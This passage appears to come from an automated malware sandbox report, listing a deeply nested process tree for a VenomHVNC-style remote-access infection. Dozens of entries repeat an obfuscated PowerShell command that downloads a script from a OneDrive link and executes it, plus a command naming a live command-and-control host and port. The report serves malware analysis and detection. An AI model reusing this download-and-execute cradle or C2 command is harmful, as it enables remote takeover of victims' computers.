        PID:7916
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        100⤵
        
        PID:6396
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        101⤵
        
        PID:4168
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        101⤵
        
        PID:1132
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        100⤵
        
        PID:10100
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        100⤵
        
        PID:4092
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        101⤵
        
        PID:11640
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        99⤵
        
        PID:5348
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        100⤵
        
        PID:10168
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        100⤵
        
        PID:7184
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        99⤵
        
        PID:4360
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        99⤵
        
        PID:8708
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        100⤵
        
        PID:4104
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        98⤵
        
        PID:5304
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        99⤵
        
        PID:4188
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        99⤵
        
        PID:7736
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        98⤵
        
        PID:5704
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        98⤵
        
        PID:6556
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        99⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:13104
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        97⤵
        
        PID:9412
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        98⤵
        
        PID:9052
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        98⤵
        
        PID:3384
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        98⤵
        
        PID:10580
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        98⤵
        
        PID:8072
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        97⤵
        
        PID:4240
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        97⤵
        
        PID:6552
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        98⤵
        
        PID:12336
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        96⤵
        
        PID:9584
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        97⤵
        
        PID:9912
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        97⤵
        
        PID:7204
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        96⤵
        
        PID:4632
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        96⤵
        
        PID:7456
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        97⤵
        
        PID:12560
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        95⤵
        
        PID:2416
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        96⤵
        
        PID:4764
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        96⤵
        
        PID:1104
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        95⤵
        
        PID:9060
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        95⤵
        
        PID:2756
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        96⤵
        
        PID:13200
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        94⤵
        
        PID:10080
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        95⤵
        
        PID:9740
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        95⤵
        
        PID:7564
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        94⤵
        
        PID:10092
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        94⤵
        
        PID:8224
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        95⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:12576
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        93⤵
        
        PID:10008
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        94⤵
        
        PID:9356
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        94⤵
        
        PID:1196
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        93⤵
        
        PID:10016
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        93⤵
        
        PID:1932
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        94⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4380
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        92⤵
        System Location Discovery: System Language Discovery
        
        PID:9812
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        93⤵
        
        PID:9900
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        93⤵
        
        PID:7420
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        92⤵
        
        PID:9820
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        92⤵
        
        PID:7900
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        93⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11632
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        91⤵
        System Location Discovery: System Language Discovery
        
        PID:9696
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        92⤵
        
        PID:10000
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        92⤵
        
        PID:4544
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        91⤵
        
        PID:9704
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        91⤵
        
        PID:700
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        92⤵
        
        PID:12904
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        90⤵
        System Location Discovery: System Language Discovery
        
        PID:9448
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        91⤵
        
        PID:9504
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        91⤵
        
        PID:3196
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        90⤵
        
        PID:9456
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        90⤵
        
        PID:7200
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        91⤵
        
        PID:11752
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        89⤵
        
        PID:4032
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        90⤵
        
        PID:9512
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        90⤵
        
        PID:7252
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        89⤵
        
        PID:9224
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        89⤵
        
        PID:2208
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        90⤵
        
        PID:1344
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        88⤵
        
        PID:4888
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        89⤵
        
        PID:9368
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        89⤵
        
        PID:8168
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        88⤵
        
        PID:2436
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        88⤵
        
        PID:9752
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        89⤵
        
        PID:13044
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        87⤵
        
        PID:4384
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        88⤵
        
        PID:2392
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        88⤵
        
        PID:4820
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        87⤵
        
        PID:4980
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        87⤵
        
        PID:9832
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        88⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6068
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        86⤵
        
        PID:4160
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        87⤵
        
        PID:9072
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        87⤵
        
        PID:8892
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        86⤵
        
        PID:8788
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        86⤵
        
        PID:7136
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        87⤵
        
        PID:2056
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        85⤵
        System Location Discovery: System Language Discovery
        
        PID:8792
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        86⤵
        
        PID:4496
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        86⤵
        
        PID:7588
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        85⤵
        
        PID:2860
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        85⤵
        
        PID:6480
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        86⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11080
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        84⤵
        
        PID:3856
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        85⤵
        
        PID:8776
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        85⤵
        
        PID:6944
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        84⤵
        
        PID:3712
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        84⤵
        
        PID:2980
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        85⤵
        
        PID:12500
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        83⤵
        
        PID:8404
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        84⤵
        
        PID:4492
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
